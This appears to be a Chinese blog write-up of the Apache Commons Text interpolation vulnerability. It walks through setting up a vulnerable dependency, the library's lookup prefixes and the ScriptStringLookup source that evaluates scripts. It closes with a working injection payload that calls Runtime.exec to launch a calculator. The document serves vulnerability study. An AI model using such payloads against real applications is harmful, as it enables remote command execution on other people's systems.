前言 学习。
环境搭建 可以在maven仓库 里直观地看到存在漏洞的软件版本:
于是新建一个Java项目,加入受漏洞影响的Apache Commons Text依赖:
1 2 3 4 5 6 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-text</artifactId > <version > 1.8</version > </dependency >
不知道为什么下载不到1.9版本的,搞不懂。
漏洞分析 看一看官方的入门指导 。
Apache Commons Text是一个文本处理库,可以通过${prefix:name}的写法对字符串进行灵活处理,比如入门指导中给出的快速文本处理示例代码,这里我删掉了一些跟文件有关的处理避免发生文件不存在的问题:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();final String text = interpolator.replace("Base64 Decoder: ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" + "Base64 Encoder: ${base64Encoder:HelloWorld!}\n" + "Java Constant: ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n" + "Date: ${date:yyyy-MM-dd}\n" + "Environment Variable: ${env:USERNAME}\n" + "Java: ${java:version}\n" + "Localhost: ${localhost:canonical-name}\n" + "Resource Bundle: ${resourceBundle:org.apache.commons.text.example.testResourceBundleLookup:mykey}\n" + "System Property: ${sys:user.dir}\n" + "URL Decoder: ${urlDecoder:Hello%20World%21}\n" + "URL Encoder: ${urlEncoder:Hello World!}\n" );
将处理完后的文本打印出来,可以看到:
很明显,Apache Commons Text可以通过在字符串中使用${prefix:name}格式的字符串进行字符串的插入,其中prefix代表了要对源字符串做的处理,而name代表了源字符串,如第一个字符串插值${base64Decoder:SGVsbG9Xb3JsZCE=}就代表了对name进行base64解码后插入字符串中。
根据漏洞通告 所说,prefix代表的其实是Apache Commons Text里面org.apache.commons.text.lookup.StringLookup这个接口的实现类,在IDEA里面搜索一下继承了该接口的类:
可以很明显地看到,有一些类就是示例代码中使用到的文本处理类,按照漏洞通告的说法,其中有三个StringLookup类存在利用方法:
1 These lookups are: - "script" - execute expressions using the JVM script execution engine (javax.script) - "dns" - resolve dns records - "url" - load values from urls, including from remote servers
其中script这个prefix看起来就特别可疑,似乎可以调用脚本引擎,找到其对应的ScriptStringLookup类,可以在注释里看到使用方法:
1 ${scrip t:javascript :3 + 4 }
看起来是调用了JavaScript引擎运行了后面的代码,接下来分析一下执行文本处理地该类的lookup函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @Override public String lookup (final String key) { if (key == null ) { return null ; } final String[] keys = key.split(SPLIT_STR); final int keyLen = keys.length; if (keyLen != 2 ) { throw IllegalArgumentExceptions.format("Bad script key format [%s]; expected format is DocumentPath:Key." , key); } final String engineName = keys[0 ]; final String script = keys[1 ]; try { final ScriptEngine scriptEngine = new ScriptEngineManager ().getEngineByName(engineName); if (scriptEngine == null ) { throw new IllegalArgumentException ("No script engine named " + engineName); } return Objects.toString(scriptEngine.eval(script), null ); } catch (final Exception e) { throw IllegalArgumentExceptions.format(e, "Error in script engine [%s] evaluating script [%s]." , engineName, script); } }
可以看到非常可疑的两句代码:
1 final ScriptEngine scriptEngine = new ScriptEngineManager ().getEngineByName(engineName);
和:
1 return Objects.toString(scriptEngine.eval(script), null );
漏洞利用 参考常用的ScriptEngineManager:
1 ${script:nashorn:java.lang .Runtime .getRuntime ().exec ('calc' )}
参考